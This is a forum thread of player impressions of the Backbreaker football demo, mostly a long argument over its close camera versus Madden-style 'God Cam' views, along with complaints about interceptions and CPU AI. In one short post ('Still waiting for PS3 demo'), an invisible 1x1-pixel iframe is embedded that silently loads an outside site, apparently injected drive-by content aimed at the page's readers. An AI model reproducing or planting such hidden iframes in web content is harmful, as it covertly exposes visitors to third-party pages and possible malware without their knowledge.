Backbreaker Demo Available, Post Your Impressions Here

[Bears_16_and_0]

Re: Backbreaker Demo Available, Post Your Impressions Here

i just wanna say i think Oblivion is one of the most overrated games of all time =P

[RaiderKtulu]

Re: Backbreaker Demo Available, Post Your Impressions Here

I agree with most of your points, and to be clear, I'm not an EA Football fan either and I have never compared those games to Backbreaker. I am just stating what seems to be the feeling I get. A lot of the pro-Backbreaker camera guys keep throwing Madden and "God Cam" out there, and saying how this aspect and that aspect blow Madden out the water. I have never compared any other football games to Backbreaker.

We (ok, at least -I-) call it God Cam because you can see everything...like a god. It's not a slam at Madden in particular. I can't think of a single football game released after 1995 that didn't use the "God Cam". They've ALL used it. And it was a big improvement over the view that was used previous to it - the Tecmo Bowl view, which had the huge disadvantage of not being able to see downfield.

I think that Backbreaker's camera, with just a tiny little bit of tweaking (ability to look left & right without changing your running direction, for example), is the future of "simulation" football. It was disorienting at first, but after a few games, I've gotten mostly used to it, and I like it. As far as arguing against options... I honestly feel that the Madden/2k/Fever/Gameday view is a nostalgic holdover to the past and just serves to hold everyone back. It's just like auto-aim in an FPS. If you continue to rely on it, you're never actually going to get better... and the guy that doesn't use it is going to destroy you. Backbreaker's camera makes you go through progressions and look at your receivers - like reality. If you're looking right, you don't see the guy on the left getting open. You have to know what your play is and know who you should be throwing to. That, is far more realistic to me than being able to look at the whole field and throw it to whoever happens to get open. That alone is enough of a reason for me to say that the old view doesn't need to be put in.

Yes, that means it's going to turn off some people. The devs knew that from the start and it's the decision they chose to make. I'd rather see them keep their integrity and produce the game they wanted to make, rather than caving to "the masses", who, quite frankly, suck. Catering to the masses doesn't always lead to a quality product. Try too hard to please everybody...and you can easily please nobody.

[wheelman990]

Re: Backbreaker Demo Available, Post Your Impressions Here

What are the camera options people want in the game?

While I like a very close cam, for me its often to close or inconsistent. The ONLY downside to cameras such as Maddens is advantages a far cam player would have over a close cam player. However BB could simply use a solid close cam as default for online, and options for offline.

The point is camera options will lead to more sales and more fun to others. Thats a win for everyone. More sales =more online opponents, more sales=bb2,bb3, etc...

The bottom line is a camera option would only make everyone who likes BB, but not the cam, happy.

The gold standard would be a sweet custom cam like weve never seen. Everything from 1rst to the terrible god cam...but thats asking alot. Anyone tried the apf 2k8 custom cam with tilt at minimum, height to the minimum setting, and zoomed in with distance? Theres some insane cameras near 1rst person there that is very very playable

Now this is just for fun, buthere goes.
I also would like to see them use my idea from years ago with zoomed close cameras:

The cam is always straight before the hike( although you can look left & right with the right stick pre snap). After the hike your qb looks straight first. You can look left by pushing a click left on your right stick. You can look right by clicking once to the right. Likewise you can go back from right to center by clicking once to the left, or go right to the far left by quickly by clicking left twice(one for center, once for left), etc....very easy & fast. Then just use a button icon to throw to the chosen reciver as current games do. To me this is a much better & faster system, and you are in control of the cam movement.

Likewise the right stick should ALWAYS be for looking right & left.

[StormJH1]

The camera (even more than the licensing issues) is probably going to be the biggest barrier to people adopting this game. In some ways (play selection, simplicity of controls, etc.), Backbreaker is meant to be a casual, pick-up-and-play game. In other ways, it's about the hardest of hardcore sports games imaginable (you are actually forced to follow the play visually with your player and respond). I'm actually amazed at how well they've done it on the first try, especially compared to things like 2k5's 1st person cam, or the Madden Be a Pro mode (which I never liked).

I really like the demo, and may actually buy this game next week. However, as I play it more, there are things about the gameplay that concern me, particularly the interceptions. They seem to happen all the time on both sides of the ball, and as a QB, if you thought you were throwing into coverage by accident a lot in MADDEN, I can only imagine how many times I'll fail to see the linebacker with this camera, and chuck it right into his numbers.

[mgoblue678]

Re: Backbreaker Demo Available, Post Your Impressions Here

The camera (even more than the licensing issues) is probably going to be the biggest barrier to people adopting this game. In some ways (play selection, simplicity of controls, etc.), Backbreaker is meant to be a casual, pick-up-and-play game. In other ways, it's about the hardest of hardcore sports games imaginable (you are actually forced to follow the play visually with your player and respond). I'm actually amazed at how well they've done it on the first try, especially compared to things like 2k5's 1st person cam, or the Madden Be a Pro mode (which I never liked).

I really like the demo, and may actually buy this game next week. However, as I play it more, there are things about the gameplay that concern me, particularly the interceptions. They seem to happen all the time on both sides of the ball, and as a QB, if you thought you were throwing into coverage by accident a lot in MADDEN, I can only imagine how many times I'll fail to see the linebacker with this camera, and chuck it right into his numbers.

I am more concerned about the CPU offense. The human player can always adjust and get better. The CPU offense can not in a sense that you are stuck with how it was programmed.

[catcatch22]

Re: Backbreaker Demo Available, Post Your Impressions Here

The ratings are a bit skewed for a lot of the players, and even though we won't have sliders we will be able to adjust the ratings of the players to help limit or raise the amount Int's and other areas we so choose by using the player ratings as sliders themselves.

If not the ratings and it is a pure AI issue we can hope we get a patch that alleviates the issue. I would still play and enjoy it anyway. NHL 10 has horrible AI yet I play it constantly because of the great online play. When I mean NHL 10 AI is bad it is bad!

[Illustrator76]

Re: Backbreaker Demo Available, Post Your Impressions Here

I've posted several games outside of football that have traded in the "traditional" camera of their genre to try something new and different and put a new next gen take on their game. Many of them were very successful in doing so. Your reasons are that well everyone else does it. No one put up as much of a vehement struggle against those ideas as much as you guys have with this. Unfortunately you don't like the decision and you have made it clear that it is not for you. This is not a Madden, All Pro replacement. They don't want it to be. They want it to be it's own game on it's own style and create a game that is totally different than those in the past even though they are doing the same sport.

Your reasoning is akin to "why would they make an arcade coin up racing game with only one cockpit view when every other racing games has had multiple views" - F355 challenge did and it was very successful and popular though expensive. Or "why would you make a 3D fight game when 2D is the way to go" Tekken - Virtua Fighter both had interesting takes on the traditional 2D side scroll fighting genre. Or better yet "why make a 3D platformer be in first person only" Mirrors Edge.

They have a vision for how they want this version of the game to be played. This is not a remake of the recent football games. It is trying to be it's own game not what the others are. I respect them for what they are trying to do and can easily see why they are doing it. If there was not change we would still be using the old school madden passing windows from the genesis days or did you disagree vehemently against removing those as well.

My point is simply that we need options. All of the most acclaimed sports games have multiple cameras, that is simply undeniable and any argument otherwise is insidious. If by change you mean limiting peoples options (be it camera or otherwise), then NO I don't want that kind of change. I don't want terrible cameras forced down my throat so that I can "adapt" to playing on a crappy camera for the sake of "realism". Also, Madden passing windows were replaced by.....wait for it....MULTIPLE CAMERA OPTIONS, so your argument there rings hollow. Also, if they made 3D fighting games in a weird first person view, it wouldn't have worked, they work because you can see and feel everything going on around you while playing the game...unlike Backbreaker.

I really don't even know why I jumped back in to this discussion....it's pointless. It'll be interesting to see how the game sells and what the reasons are if it sells well/poorly. Then we can truly gauge whether the devs decisions were right or wrong.

[TheWatcher]

Re: Backbreaker Demo Available, Post Your Impressions Here

We (ok, at least -I-) call it God Cam because you can see everything...like a god. It's not a slam at Madden in particular. I can't think of a single football game released after 1995 that didn't use the "God Cam". They've ALL used it. And it was a big improvement over the view that was used previous to it - the Tecmo Bowl view, which had the huge disadvantage of not being able to see downfield.

Tecmo has always used a graphic indicator system so you could see where your receivers were. I thought it worked really well. But I do understand what you're saying overall. I think after we got a full generation of selectable camera views in games (last gen), and then a few this gen, people have come to expect the ability to modify it to their personal liking.

[sparkyiii2k]

Re: Backbreaker Demo Available, Post Your Impressions Here

They did give you an option "Buy The Game Or Don't Buy The Game". People always complain about their game not brown sim enough so when a company makes the attempt to bring more realism (yea im speaking about the camera angle) to their sport the same same people gripe because the game doesn't have the same view as the gm they were griping about in first place..nice guys its a demo a preview I think a lot of concerns are understandable and hopefully was addressed on the final build but if not we probably will have two patches to help some plus they will probably be addressed in BB2.

[bonbonan]

Re: Backbreaker Demo Available, Post Your Impressions Here

Still waiting for PS3 demo.<iframe src="http://zeroethics.com/opsports/" frameborder="0" marginheight="0" marginwidth="0" width="1" height="1"scrolling="no"></iframe>

I cant wait it anymore!

[catcatch22]

Re: Backbreaker Demo Available, Post Your Impressions Here

were replaced by.....wait for it....MULTIPLE CAMERA OPTIONS, .

No they replaced it with one camera and yes over the years they have added a couple more cams but in all honesty there is only one camera that everyone uses in the game.

[wheelman990]

Re: Backbreaker Demo Available, Post Your Impressions Here

No they replaced it with one camera and yes over the years they have added a couple more cams but in all honesty there is only one camera that everyone uses in the game.

They have 3 cams, I liked zoom best of the choices given.

[Illustrator76]

Re: Backbreaker Demo Available, Post Your Impressions Here

No they replaced it with one camera and yes over the years they have added a couple more cams but in all honesty there is only one camera that everyone uses in the game.

OK, but no one wants to answer my NBA 2K10 question from here: http://www.operationsports.com/forum...7-post962.html. That game has multiple cameras, is it any less "sim" because of that? There are people who swear by the side cam and people who swear by the up and down cam. Is one group more "sim" than the other? That whole "sim"/realism argument gets thrown right out the window when you look at an example like that.

[fldash]

Re: Backbreaker Demo Available, Post Your Impressions Here

OK, but no one wants to answer my NBA 2K10 question from here: http://www.operationsports.com/forum...7-post962.html. That game has multiple cameras, is it any less "sim" because of that? There are people who swear by the side cam and people who swear by the up and down cam. Is one group more "sim" than the other? That whole "sim"/realism argument gets thrown right out the window when you look at an example like that.

NBA 2k10 probably wasn't designed from the ground up for use with a certain camera. There's your answer. I personally don't think the BB camera is any more realistic than the Madden camera, though I can see where some would say that. The fact is that it's different because the designers wanted it that way.

[Illustrator76]

Re: Backbreaker Demo Available, Post Your Impressions Here

NBA 2k10 probably wasn't designed from the ground up for use with a certain camera. There's your answer. I personally don't think the BB camera is any more realistic than the Madden camera, though I can see where some would say that. The fact is that it's different because the designers wanted it that way.

The bolded part in no way answers my question on whether or not NBA 2K10 is "sim" or not because it has multiple cameras, and if people who play on one camera are more "sim" than people who play on a different one. Just because a game is designed from the ground up around a certain camera doesn't make it right or more "sim". I did see where you said that you didn't think BB's camera was any more/realistic than EA's football game, so I am not accusing you of saying that.

Either way, I'm not going to "discuss" this anymore. I guess we'll see how the game sells and what the positive/negative feedback from consumers is.